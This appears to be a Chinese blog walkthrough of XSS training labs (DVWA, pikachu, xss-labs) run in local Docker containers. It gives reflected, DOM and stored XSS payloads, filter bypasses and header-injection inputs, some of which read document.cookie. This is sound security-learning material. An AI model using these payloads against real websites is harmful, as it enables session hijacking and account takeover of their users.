博客 / 詳情

返回

XSS基礎----DVWA,pikachu,xss-labs

XSS(Cross-Site Scripting,跨站腳本攻擊)是 Web 安全領域最常見、出現頻率最高、危害也非常大的漏洞之一,即使到了 2026 年,它仍然是 OWASP Top 10 榜單的常客。

攻擊者把惡意 JavaScript 代碼注入到網頁裏,當其他用户訪問這個頁面時,惡意代碼就在受害者的瀏覽器裏被執行了。

XSS 的三大主流分類(2025-2026 年仍然是這三類):

類型 英文名稱 是否持久化 執行時機 典型場景 危害程度
反射型 Reflected XSS 用户必須點擊攻擊者構造的惡意鏈接 搜索框、錯誤頁面、URL 參數帶內容 ★★★★
DOM型 DOM-based XSS 瀏覽器端 JavaScript 處理不當 location.hash、innerHTML、document.write 等危險操作 ★★★★
存儲型 Stored XSS 只要有人訪問被污染的頁面 論壇帖子、商品評論、個人簽名、客服留言 ★★★★★

一、XSS靶場

反射型

1.DVWA

1.1 low

  • 目前顯示的界面如下圖所示:
    1

  • 先隨意輸入一些內容試試:輸入"curme"發現在界面上會出現輸入的內容
    2

  • 輸入惡意代碼:<script>alert(1)</script>
    3

  • 輸入惡意代碼:<script>alert(document.cookie)</script>
    4

1.2 medium

  • 當我輸入<script>alert(1)</script>
    11
    對關鍵詞有過濾

  • 輸入:<scr<script>ipt>alert(1)</script>或者<Script>alert(1)</Script>
    3

1.3 high

  • 這個難度下,替換了所有的<script>標籤,因此考慮使用觸發事件:
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    6

  • <img src=x onerror=alert(document.cookie)><svg onload=alert(document.cookie)>
    7

2.pikachu

2.1 反射型GET

15
如上圖,輸入惡意代碼,發現有長度顯示,於是修改maxlength參數為200.

之後就可以輸入惡意代碼:<script>alert(1)</script>,顯示如下:
16

2.2 反射型POST

17
先登錄admin / 123456,登陸之後如下:
18

輸入123,抓包如下:

POST /pikachu/vul/xss/xsspost/xss_reflected_post.php HTTP/1.1
Host: 192.168.103.130:8082
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://192.168.103.130:8082
Connection: keep-alive
Referer: http://192.168.103.130:8082/pikachu/vul/xss/xsspost/xss_reflected_post.php
Cookie: ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; PHPSESSID=663b23ae4a67f2b75215f8f71a31ac26
Upgrade-Insecure-Requests: 1
Priority: u=0, i

message=123&submit=submit

界面顯示如下:
19

在POST數據包的message中加入惡意代碼如下:<script>alert(1)</script>,顯示如下:
20

(其實不通過抓包也能實現。)

DOM型

1.DVWA

1.1 low

  • 隨便選擇一個,觀察url發現是通過參數default傳遞的
    5

  • 輸入惡意代碼:
    http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<script>alert(1)</script>
    6

  • 輸入惡意代碼:
    http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<script>alert(document.cookie)</script>
    7

1.2 medium

  • 主要還是一個過濾:考慮不使用帶有<script的語句
    http://192.168.103.130:8090/vulnerabilities/xss_d/?default=<img src='' onerror=javascript:alert(1)>
    6

1.3 high

  • 服務器端已經做的無懈可擊,但是在客户端還是可以通過錨點#來加入惡意代碼。
    http://192.168.103.130:8090/vulnerabilities/xss_d/?default=English #<script>alert(1)</script>

  • 客户端只是將English提交給了服務器,服務器檢查後發現沒有問題,於是客户端將整個English #<script>alert(1)</script>寫入了DOM樹,從而攻擊就發生了。

2.pikachu

2.1 DOM型xss

通過Inspector得知,在click上的函數是domxss()。然後在Debugger中搜索domxss,可以得知domxss()函數如下:

function domxss(){
    var str = document.getElementById("text").value;
    document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}

因此使用惡意代碼為:'></a> <img src=x onerror=alert(1)> <a href='
顯示如下:
12

2.2 DOM型xss-x

13

通過Inspector得知,在上圖中的鏈接有一個click事件,使用了domxss()函數。通過在Debugger中搜索domxss可以得知,domxss()函數如下:

function domxss(){
    var str = window.location.search;
    var txss = decodeURIComponent(str.split("text=")[1]);
    var xss = txss.replace(/\+/g,' ');
//  alert(xss);

    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";
}

因此使用惡意代碼為:'></a> <iframe src=x onload=alert(1)></iframe> <a href='
顯示如下:
14

存儲型

1.DVWA

1.1 low

  • 通過隨意輸入可以發現,每次刷新頁面,都會再次顯示曾經輸入的內容
    8

  • 輸入惡意代碼:
    9
    這樣一來每次刷新頁面都會顯示:
    6

  • 輸入惡意代碼:
    10
    這樣一來每次刷新頁面都會顯示:
    7

1.2 medium

  • 在Name中輸入:<ScRipT>alert(1)</ScRipT>
    (在Name框中可能會出現無法輸入這麼長的字符串的問題,直接在界面源碼上將輸入該框的字符串最大設置為100。)
    這樣一來,每次刷新都會出現
    6
    在消息框裏面輸入不成功是因為代碼中使用了strip_tags()函數,該函數會剝離字符串中所有的 HTML、XML 以及 PHP 標籤。

1.3 high

  • 這裏主要的問題是:只使用了黑名單,只是過濾了<script。對於html事件完全沒有過濾。

  • 在Name框中輸入:<svg onload=alert(1)><img src=x onerror=alert(1)>
    6

2.pikachu

21
如上圖,通過Inspector可以看出輸入的內容顯示的地方,可以使用如下的惡意代碼:

</p> <img src=x onerror=alert(1)> <p>

每次刷新網頁都會出現如下界面:
22

二、XSS檢測工具

  • XSSER

  • XSSSTRIKE

三、xss-labs闖關

ascii

level 1

通過GET傳遞參數

http://192.168.103.130:9000/xss-labs/level1.php?name=<script>alert(1)</script>

惡意代碼:<script>alert(1)</script>

level 2

搜索參數嵌入了html的input中。
惡意代碼:"> <img src=x onerror=alert(1)> <img scr="

level 3

惡意代碼:' onfocus=alert(1) '

level 4

惡意代碼:' onfocus=alert(1) '

level 5

惡意代碼:"> <a href="javascript:alert(1)">click</a> <img src="

level 6

惡意代碼:"> <ScRIpt> alert(1) </ScRIpt> <img src="

level 7

惡意代碼:" OonNOnfocus=alert(1) > <img src="

level 8

惡意代碼:javasc&#114;ipt:alert(1)

level 9

惡意代碼:javasc&#114;ipt:alert('http://www.baidu.com')
惡意代碼:javasc&#114;ipt:alert(1)//http://www.baidu.com

level 10

惡意代碼:" type="text" onfocus=alert(1) "

http://192.168.103.130:9000/xss-labs/level10.php?keyword=well done!&t_sort=" type="text" onfocus=alert(1) "

level 11

惡意代碼:" type="button" onfocus="alert(1)
在GET請求裏面將Referer改成:

" type="button" onfocus="alert(1)

level 12

惡意代碼:" type="button" onfocus="alert(1)
在GET請求裏面將User-Agent改成:

" type="button" onfocus="alert(1)

level 13

惡意代碼:" type="button" onfocus="alert(1)

Cookie: user=" type="button" onfocus="alert(1)

level 14

這關略過,這關的網站已經掛了。

level 15

惡意代碼:

http://192.168.103.130:9000/xss-labs/level15.php?src='level1.php?name=<img src=1 onerror=alert(1)>'

level 16

惡意代碼:<img%0dsrc=x%0donerror=alert(1)

level 17

level 18

惡意代碼:%20onmouseover=alert(1)%20width=200%20height=200%20style=background:red;display:block;

level 19

level 20

通過這 20 關,已經走過了 XSS 發展的縮影:

Level 1-10:基礎過濾(大小寫、雙寫、事件、偽協議)。

Level 11-13:HTTP 頭部注入(Referer, Cookie, User-Agent)。

Level 14-16:前端框架注入 (AngularJS) 和 字符編碼繞過。

Level 17-20:插件注入 (Flash)。


硬件及軟件説明:

I.硬件(電腦)

Apple Mac mini M4 (24G)

II.軟件(vmware虛擬機)

  • ubuntu作為靶機
    • IP: 192.168.103.130
    • arm64
    • Ubuntu 24.04.3 LTS
  • kali作為攻擊機
    • IP: 192.168.103.128
    • arm64
    • Kali GNU/Linux Rolling
    • 瀏覽器:Chromium 和 Firefox

ubuntu中安裝docker靶場:kaakaww/dvwa-docker:latest
ubuntu中安裝docker靶場:homins/pikachu:latest
ubuntu中安裝docker靶場:hominsu/xss-labs:latest

# 拉取docker鏡像
sudo docker pull kaakaww/dvwa-docker
sudo docker pull hominsu/pikachu
sudo docker pull hominsu/xss-labs

# 為鏡像創建容器,並運行
## DVWA 端口設為 8090
## pikachu 端口設為 8082
## xss-labs 端口設為 9000
sudo docker run -dt --name dvwa -p 8090:80 kaakaww/dvwa-docker
sudo docker run -dt --name pikachu -p 8082:80 hominsu/pikachu
sudo docker run -dt --name xss-labs -p 9000:80 hominsu/xss-labs

📌 不一定對,如有錯誤,歡迎指出🙂。

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.